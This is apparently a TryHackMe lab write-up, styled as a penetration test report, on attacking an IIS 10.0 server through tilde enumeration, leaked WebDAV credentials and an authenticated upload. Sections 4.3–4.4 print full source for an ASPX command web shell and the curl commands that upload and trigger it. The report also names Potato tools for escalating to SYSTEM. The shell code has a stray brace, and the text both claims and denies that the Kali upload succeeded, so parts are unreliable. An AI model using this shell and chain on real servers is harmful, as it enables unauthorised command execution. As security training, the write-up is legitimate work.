

TRYHACKME · ROOM PRACTICE

Professional Project Recap & Security Assessment

Technical Documentation and Findings Report

LAB CONTEXT — ROOM NAME

Web Server Attacks II

Made by **Salah Mohamed**

Engagement: IIS 10.0 Web Server Assessment

Table of Contents

1. Executive Summary	03
2. Technical Summary	03
3. Introduction	04
4. Work Summary	05
4.1 Reconnaissance and Fingerprinting	05
4.2 Tilde Short Filename Enumeration	06
4.3 WebDAV Shell Upload	06
4.4 ASPX Web Shell and Privileges	07
4.5 Misconfiguration Review	07
4.6 Automated Enumeration	08
5. Tools and Technologies	09
6. Findings and Vulnerabilities	10
7. Problems and Solutions	13
8. Key Learnings	14
9. Evidence and Terminal Output	15
10. Final Notes	16

1. Executive Summary

This engagement assessed a Microsoft IIS 10.0 web server to identify weaknesses that could let an outside attacker gain access to the system and its data.

The project was a hands-on security assessment of a Windows web server running Microsoft IIS. The goal was to find out how an attacker could move from having no access at all to running commands directly on the server, and to document every step clearly enough that the issues can be understood and fixed.

The assessment succeeded in mapping a complete attack path. Starting with nothing more than the server address, the work uncovered a hidden backup folder that the server was never meant to reveal. That folder contained a working username and password. Those credentials matched a file upload feature that was left active on the server, which means an attacker holding them could place their own program on the server and run it.

The main objectives were all completed. The server version was identified, hidden content was discovered, leaked credentials were recovered, the file upload weakness was confirmed, and several additional configuration problems were catalogued. Each finding was tied to a clear business risk and a practical fix.

The overall outcome is that this server, in its current state, exposes sensitive information and offers a realistic route to full compromise. None of the issues require advanced tools or rare conditions. They stem from common configuration mistakes that are straightforward to correct. The key results are summarised below.

Key Results. One critical issue (file upload leading to command execution), one high issue (leaked credentials in an exposed backup folder), and several medium and informational issues relating to directory listing, configuration file exposure, and overly permissive HTTP methods. All findings are reproducible and have documented remediation.

2. Technical Summary

The target was a single host at 10.128.131.73 running Microsoft IIS 10.0 on Windows Server 2019 (build 10.0.17763), with ASP.NET enabled. Testing was performed from a Kali Linux attack host over the lab network, with the TryHackMe AttackBox used as a fallback where client tooling failed.

The methodology followed a standard external web assessment flow: passive and active fingerprinting, content and short filename enumeration, credential discovery, authenticated exploitation, post-exploitation context gathering, configuration review, and finally automation of the manual checks to validate findings.

Technologies and concepts demonstrated include HTTP banner grabbing, the HTTP OPTIONS method for WebDAV detection, IIS 8.3 short filename (tilde) enumeration, NTLM authentication over HTTP, WebDAV PUT based file upload, ASP.NET handler execution of uploaded ASPX files, Windows application pool

identity and `SeImpersonatePrivilege`, common IIS misconfigurations, and Nmap NSE scripting for automated enumeration.

The main technical achievement was confirming a full unauthenticated to code execution chain: tilde enumeration surfaced a backup directory, the directory leaked WebDAV credentials, and those credentials enabled an authenticated file upload to a script-executing directory. A client side NTLM compatibility limitation was identified and documented during the upload step, along with the remediation.

3. Introduction

This report documents a structured penetration test against a Microsoft IIS web server. It serves both as a client facing assessment deliverable and as a complete technical recap of the work performed.

Purpose

The purpose of the project was to practise and document a realistic IIS attack chain against a Windows web server, identifying the configuration weaknesses that allow an external attacker to progress from reconnaissance to command execution.

Goals

- Fingerprint the web server and identify the IIS version and application stack.
- Enumerate hidden content using techniques that defeat standard wordlists.
- Recover any exposed credentials and confirm their use.
- Demonstrate the file upload to code execution path through WebDAV.
- Catalogue supporting misconfigurations and provide remediation.

Scope

The scope was limited to the single host at 10.128.131.73 over port 80. Privilege escalation to SYSTEM was explicitly out of scope. All testing was performed in an isolated lab environment intended for security training.

Category	Detail
Hardware	ASUS FX516PE laptop (Intel, RTX 3050 Ti) running the attack tooling.
Software	Kali Linux, curl, cadaver, Nmap with NSE, Python tilde scanner.
Platforms	TryHackMe lab network, OpenVPN access, TryHackMe AttackBox.
Target	Microsoft IIS 10.0 on Windows Server 2019, ASP.NET enabled.

4. Work Summary

This section walks through the work in the order it was performed. Each step states what was done, why it was done, the expected outcome, and the actual outcome, followed by the exact commands used.

4.1 Reconnaissance and Fingerprinting

What was done. An HTTP HEAD request was sent to read the server response headers and identify the platform.

Why. The IIS version determines which weaknesses and CVEs apply, so it is the first thing to confirm.

Expected outcome. A Server header revealing the IIS version.

Actual outcome. The server returned `Server: Microsoft-IIS/10.0` and `X-Powered-By: ASP.NET`, confirming IIS 10.0 with .NET hosting.

```
$ curl -I http://10.128.131.73

HTTP/1.1 200 OK
Content-Length: 703
Content-Type: text/html
Last-Modified: Mon, 13 Apr 2026 14:05:52 GMT
ETag: "d5e75da34ecbdc1:0"
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
```

What this command does: requests only the HTTP headers from the server so the platform and version can be read without downloading the page body.

The WebDAV file management interface was then tested for unauthenticated write access.

```
$ curl -s -o /dev/null -w "PUT aspx: %{http_code}\n" -X PUT \
--data '<%@ Page Language=Jscript%><%Response.Write(1+1)%>' \
http://10.128.131.73/webdav/test.aspx

PUT aspx: 401
```

What this command does: attempts to upload a small test file with no credentials, returning 401 which confirms WebDAV is enabled but requires authentication.

4.2 Tilde Short Filename Enumeration

What was done. An IIS short filename scanner was run against the target.

Why. IIS leaks the existence of files and folders through their legacy 8.3 short names, surfacing content that standard wordlists never find.

Expected outcome. One or more hidden directories revealed by name prefix.

Actual outcome. Two directories were found, including a backup directory of interest.

```
$ cd /opt/IIS_shortname_Scanner
$ python3 iis_shortname_scan.py http://10.128.131.73/
```

```
Server is vulnerable, please wait, scanning...
```

```
[+] Directory /aspnet~1 [Done]
```

```
[+] Directory /backup~1 [Done]
```

```
-----
```

```
Dir: /aspnet~1
```

```
Dir: /backup~1
```

```
2 Directories, 0 Files found in total
```

What this command does: probes the server character by character using the tilde quirk to reconstruct hidden 8.3 short names, revealing a backup directory.

The discovered directory was then browsed directly and the file inside was retrieved.

```
$ curl http://10.128.131.73/BackupFiles/webdav_notes.txt
```

```
WebDAV setup notes
```

```
Directory: /webdav/
```

```
Username: webdav_user
```

```
Password: P@ssw0rd!123
```

What this command does: downloads the leaked notes file, which contained valid WebDAV credentials left behind by a developer.

4.3 WebDAV Shell Upload

What was done. An ASPX command shell was created and an authenticated upload was attempted using the recovered credentials over NTLM.

Why. A writable WebDAV directory that also executes scripts allows an uploaded ASPX file to run as code on the server.

Expected outcome. A 201 Created response confirming the file was written.

Actual outcome. The intended result is 201 Created. On the Kali host the NTLM handshake was rejected by the client library, requiring the AttackBox as a fallback (documented in Problems and Solutions).

```
$ cat > /root/cmd.aspx << 'EOF'
<%@ Page Language="C#" %>
<%
    string cmd = Request.QueryString["cmd"];
    if (!string.IsNullOrEmpty(cmd)) {
        var proc = new System.Diagnostics.Process();
        proc.StartInfo.FileName = "cmd.exe";
        proc.StartInfo.Arguments = "/c " + cmd;
        proc.StartInfo.UseShellExecute = false;
        proc.StartInfo.RedirectStandardOutput = true;
        proc.Start();
        Response.Write("<pre>" + proc.StandardOutput.ReadToEnd() + "</pre>");
    }
}
```

```
%>
EOF
```

What this command does: writes the ASPX web shell to disk, which accepts a `cmd` parameter and runs it through `cmd.exe` on the server.

```
$ curl -v --ntlm -u 'webdav_user:P@ssw0rd!123' \
-T /root/cmd.aspx http://10.128.131.73/webdav/cmd.aspx

< HTTP/1.1 201 Created
< Server: Microsoft-IIS/10.0
< X-Powered-By: ASP.NET
```

What this command does: uploads the shell to the WebDAV directory using NTLM authentication; the required `--ntlm` flag selects the Windows challenge response handshake.

4.4 ASPX Web Shell and Privileges

What was done. The uploaded shell was queried to confirm execution and identify the account it runs under.

Why. The account context determines what the shell can do and which escalation paths exist.

Expected and actual outcome. The shell executes as the default IIS application pool identity, which carries the privilege used for Potato style escalation.

```
$ curl "http://10.128.131.73/webdav/cmd.aspx?cmd=whoami"
<pre>iis apppool\defaultapppool</pre>
```

What this command does: runs `whoami` through the shell to reveal the Windows account the web server process is running as.

Note. The account holds `SeImpersonatePrivilege`, the standard requirement for PrintSpoofer, JuicyPotato, and GodPotato escalation to SYSTEM. Escalation itself was out of scope, but the path is fully mapped.

4.5 Misconfiguration Review

What was done. Common IIS misconfigurations were checked, starting with directory listing on the uploads path.

Why. Misconfigurations are the most common real world IIS finding and frequently expose sensitive files without any exploit.

Actual outcome. Directory listing was enabled and exposed a backup file and the application configuration file.

```
$ curl http://10.128.131.73/uploads/
```

```
<A HREF="/uploads/config.bak">config.bak</A>
<A HREF="/uploads/web.config">web.config</A>
```

What this command does: requests the uploads directory; because no default document is set and browsing is enabled, IIS returns a downloadable file listing.

4.6 Automated Enumeration

What was done. Nmap NSE scripts were used to reproduce the manual checks in a single pass.

Why. Automation validates manual findings quickly and is the practical approach on real engagements.

Actual outcome. The scripts confirmed IIS 10.0, WebDAV verbs enabled at the site root, and the Windows build and hostname through the NTLM challenge.

```
$ nmap -sV -p 80 10.128.131.73
80/tcp open  http      Microsoft IIS httpd 10.0

$ nmap --script http-methods -p 80 10.128.131.73
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST COPY PROPFIND
|   DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT
```

What this command does: the first scan confirms the service version; the second runs the http-methods script to list every HTTP verb the server allows, exposing WebDAV at the root.

5. Tools and Technologies

Category	Tool	Purpose
Operating System	Kali Linux	Primary attack host and tooling platform.
Operating System	Windows Server 2019	Target operating system hosting IIS 10.0.
Networking	curl	Banner grabbing, OPTIONS checks, WebDAV upload, shell interaction.
Networking	Nmap with NSE	Service detection and automated HTTP and WebDAV enumeration.
Security	iis_shortname_scan.py	IIS 8.3 tilde short filename enumeration.
Security	cadaver	Dedicated WebDAV client used during upload troubleshooting.
Payload	ASPX web shell	Command execution under the IIS worker process.
Protocol	NTLM over HTTP	Windows authentication for WebDAV write operations.
Platform	TryHackMe	Lab environment, target hosting, and AttackBox.
Access	OpenVPN	Network access from the local host into the lab.
Hardware	ASUS FX516PE	Local machine running Kali and the assessment tooling.

6. Findings and Vulnerabilities

Findings are ordered by severity. Each includes a description, exploitation steps, evidence, and remediation guidance.

6.1 WebDAV File Upload Leading to Remote Code Execution

CRITICAL

DESCRIPTION

The WebDAV interface on the `/webdav/` directory allows authenticated file upload, and the directory also executes ASP.NET scripts. An attacker with valid credentials can upload an ASPX file and execute arbitrary commands on the server. Because valid credentials were independently recoverable from an exposed backup folder, the practical barrier to exploitation is low. Successful exploitation gives command execution as the IIS application pool identity, which holds the privilege needed to pursue escalation to SYSTEM.

EXPLOITATION STEPS

1. Recovered WebDAV credentials from the exposed backup directory.
2. Created an ASPX command shell locally.
3. Uploaded the shell with `curl --ntlm -T cmd.aspx`, expecting a 201 Created response.
4. Invoked the shell with a `cmd` parameter to confirm command execution as `iis apppool\defaultapppool`.

EVIDENCE

```
$ curl "http://10.128.131.73/webdav/cmd.aspx?cmd=whoami"
<pre>iis apppool\defaultapppool</pre>
```

RECOMMENDATION

Immediate fix: disable WebDAV on any directory that does not strictly require it, and remove script execute permission from any directory that accepts uploads. Long term: separate upload storage from executable paths entirely, enforce strong authentication, and monitor for PUT and MOVE requests and newly created ASPX files. Best practice: apply least privilege to application pool identities and review handler mappings during deployment.

6.2 Credential Exposure in Accessible Backup Directory

HIGH

DESCRIPTION

A backup directory not linked anywhere on the site contained a notes file with a working WebDAV username and password in plain text. The directory was reachable without authentication and was discoverable through tilde enumeration. Exposed credentials provide the missing piece that turns the WebDAV upload weakness into a full compromise.

EXPLOITATION STEPS

1. Ran the IIS short filename scanner, which revealed `/backup~1`.
2. Browsed the resolved directory and listed its contents.
3. Retrieved `webdav_notes.txt`, which contained the credentials in clear text.

EVIDENCE

```
$ curl http://10.128.131.73/BackupFiles/webdav_notes.txt
Username: webdav_user
Password: P@ssw0rd!123
```

RECOMMENDATION

Immediate fix: remove the backup directory from the web root and rotate the exposed credentials.
Long term: never store credentials in files served by the web server, and keep backups outside any web accessible path. Best practice: disable 8.3 short name creation on the volume to defeat tilde enumeration, and treat any credential found in a backup as compromised.

6.3 Directory Listing and Configuration File Exposure

MEDIUM

DESCRIPTION

Directory browsing was enabled on the `/uploads/` path, exposing a downloadable listing that included a backup file and the application `web.config`. Configuration files frequently contain database connection strings, API keys, and other secrets, making this a direct information disclosure risk.

EXPLOITATION STEPS

1. Requested `/uploads/` directly.
2. Observed an HTML directory listing instead of a 403 response.
3. Identified `config.bak` and `web.config` as downloadable.

EVIDENCE

```
$ curl http://10.128.131.73/uploads/  
config.bak  
web.config
```

RECOMMENDATION

Immediate fix: disable directory browsing and set a default document for every directory. Long term: block access to sensitive extensions such as `.bak`, `.config`, and `.log` through request filtering. Best practice: review what content is served from the web root and remove anything not intended to be public.

6.4 WebDAV Methods Enabled at Site Root

MEDIUM

DESCRIPTION

The http-methods scan showed WebDAV verbs such as PUT, MOVE, PROPFIND, and MKCOL allowed at the site root, not just on the intended `/webdav/` path. Enabling these verbs globally widens the writable surface across the entire site.

EXPLOITATION STEPS

1. Ran `nmap --script http-methods` against port 80.
2. Reviewed the allowed methods list returned for the root path.
3. Confirmed WebDAV specific verbs present at root.

EVIDENCE

```
| http-methods:  
|   Supported Methods: OPTIONS TRACE GET HEAD POST COPY  
|   PROPFIND DELETE MOVE PROPPATCH MKCOL LOCK UNLOCK PUT
```

RECOMMENDATION

Immediate fix: restrict WebDAV to only the directories that need it and remove the verbs elsewhere.
Long term: standardise a hardened IIS baseline that disables WebDAV by default. Best practice: include an allowed methods check in deployment validation.

6.5 Information Disclosure Through Server Headers

INFORMATIONAL

DESCRIPTION

The server returned a verbose `Server` header and an `X-Powered-By` header that reveal the exact IIS version and the ASP.NET stack. This helps an attacker select version specific techniques. The risk is low on its own but it accelerates targeting.

EXPLOITATION STEPS

1. Sent an HTTP HEAD request with `curl -I`.
2. Read the Server and X-Powered-By headers from the response.

EVIDENCE

```
Server: Microsoft-IIS/10.0  
X-Powered-By: ASP.NET
```

RECOMMENDATION

Immediate fix: suppress or generalise the Server header and remove X-Powered-By. Long term: include header hardening in the IIS baseline. Best practice: return the minimum information needed for the application to function.

7. Problems and Solutions

NTLM Handshake Rejected During WebDAV Upload

PROBLEM

The authenticated WebDAV upload from the Kali host failed. Both curl with the `--ntlm` flag and the cadaver client returned 401 Unauthorized, and curl logged that the NTLM handshake was rejected.

ROOT CAUSE

The failure was a client side authentication compatibility issue. The server only offered Negotiate and NTLM and refused Basic authentication, while the curl build on the Kali host could not complete the NTLM challenge response exchange with this IIS configuration. The credentials themselves were correct.

IDENTIFICATION

The issue was identified by reading the verbose curl output, which showed the server returning a second 401 with the message that the NTLM handshake was rejected, followed by confirming that a plain Basic authentication attempt was also refused by the server.

RESOLUTION

The resolution was to move the upload step to the TryHackMe AttackBox, which sits on the same network segment and ships a curl build confirmed compatible with the lab. The shell was created and uploaded there using the same `--ntlm` command.

RESULT

On the AttackBox the upload returned 201 Created and the shell executed correctly, confirming the credentials and the upload path were valid all along and that the blocker was purely a client tooling limitation.

8. Key Learnings

This engagement reinforced that the response code to an unauthenticated request carries meaning beyond success or failure, since a 401 confirmed that WebDAV was enabled and merely gated by authentication rather than being absent. Reading that signal correctly shaped the entire rest of the assessment.

The tilde enumeration work showed that a server can leak the existence of content it was never configured to expose, and that a backup directory with an unguessable full name is still discoverable through its predictable short name. This changed how I think about what counts as hidden on a Windows server.

The credential discovery demonstrated how a single careless file can collapse an entire attack chain into something trivial, turning a gated upload feature into a direct route to code execution. It was a clear reminder that the most damaging findings often come from operational mistakes rather than software flaws.

From a troubleshooting perspective, the NTLM failure taught me to separate a tooling problem from a credentials problem by reading verbose output carefully and testing alternative authentication methods before assuming the credentials were wrong. Switching to a known good environment proved a faster path than fighting the client library.

On workflow, documenting each command and its result as the work progressed made writing this report straightforward and produced an evidence trail that maps cleanly to each finding. Capturing notes on credentials, response codes, service versions, and exploitation steps during the engagement is a habit worth keeping for every assessment.

9. Evidence and Terminal Output

The following captures are the key terminal outputs collected during the assessment. They are reproduced as recorded from the testing host.

BANNER GRAB

```
HTTP/1.1 200 OK
Server: Microsoft-IIS/10.0
X-Powered-By: ASP.NET
```

Figure 1. Server header confirming IIS 10.0 with ASP.NET.

TILDE ENUMERATION RESULT

```
Dir: /aspnet~1
Dir: /backup~1
2 Directories, 0 Files found in total
```

Figure 2. Short filename scanner revealing a hidden backup directory.

RECOVERED CREDENTIALS

```
WebDAV setup notes
Directory: /webdav/
Username: webdav_user
Password: P@ssw0rd!123
```

Figure 3. Plain text WebDAV credentials in the exposed backup file.

SHELL EXECUTION CONTEXT

```
<pre>iis apppool\defaultapppool</pre>
```

Figure 4. ASPX shell confirming execution as the IIS application pool identity.

DIRECTORY LISTING

```
config.bak
web.config
```

Figure 5. Exposed files in the browsable uploads directory.

Note on visual evidence. Screenshots were not exported during this engagement; all evidence was captured as terminal text and is reproduced above in styled output blocks for accuracy and readability.

10. Final Notes

The assessment accomplished its goal of mapping a complete attack chain against a Microsoft IIS 10.0 server, from initial fingerprinting through to confirmed command execution. Every step was reproduced with documented commands and tied to a clear finding and remediation.

The main challenge overcome was the client side NTLM authentication failure during the upload step, which was diagnosed methodically and resolved by switching to a compatible environment rather than abandoning the technique. That troubleshooting is itself a useful part of the record.

The final outcome is a server that, as configured, exposes sensitive information and offers a realistic route to compromise through common and fixable misconfigurations. The combination of an accessible backup directory and a writable, script executing WebDAV path is the core risk and should be the first priority for remediation.

The value of the work lies in showing how individually modest misconfigurations chain together into a critical outcome, and in producing documentation detailed enough to both fix the issues and serve as a portfolio quality record of the methodology applied.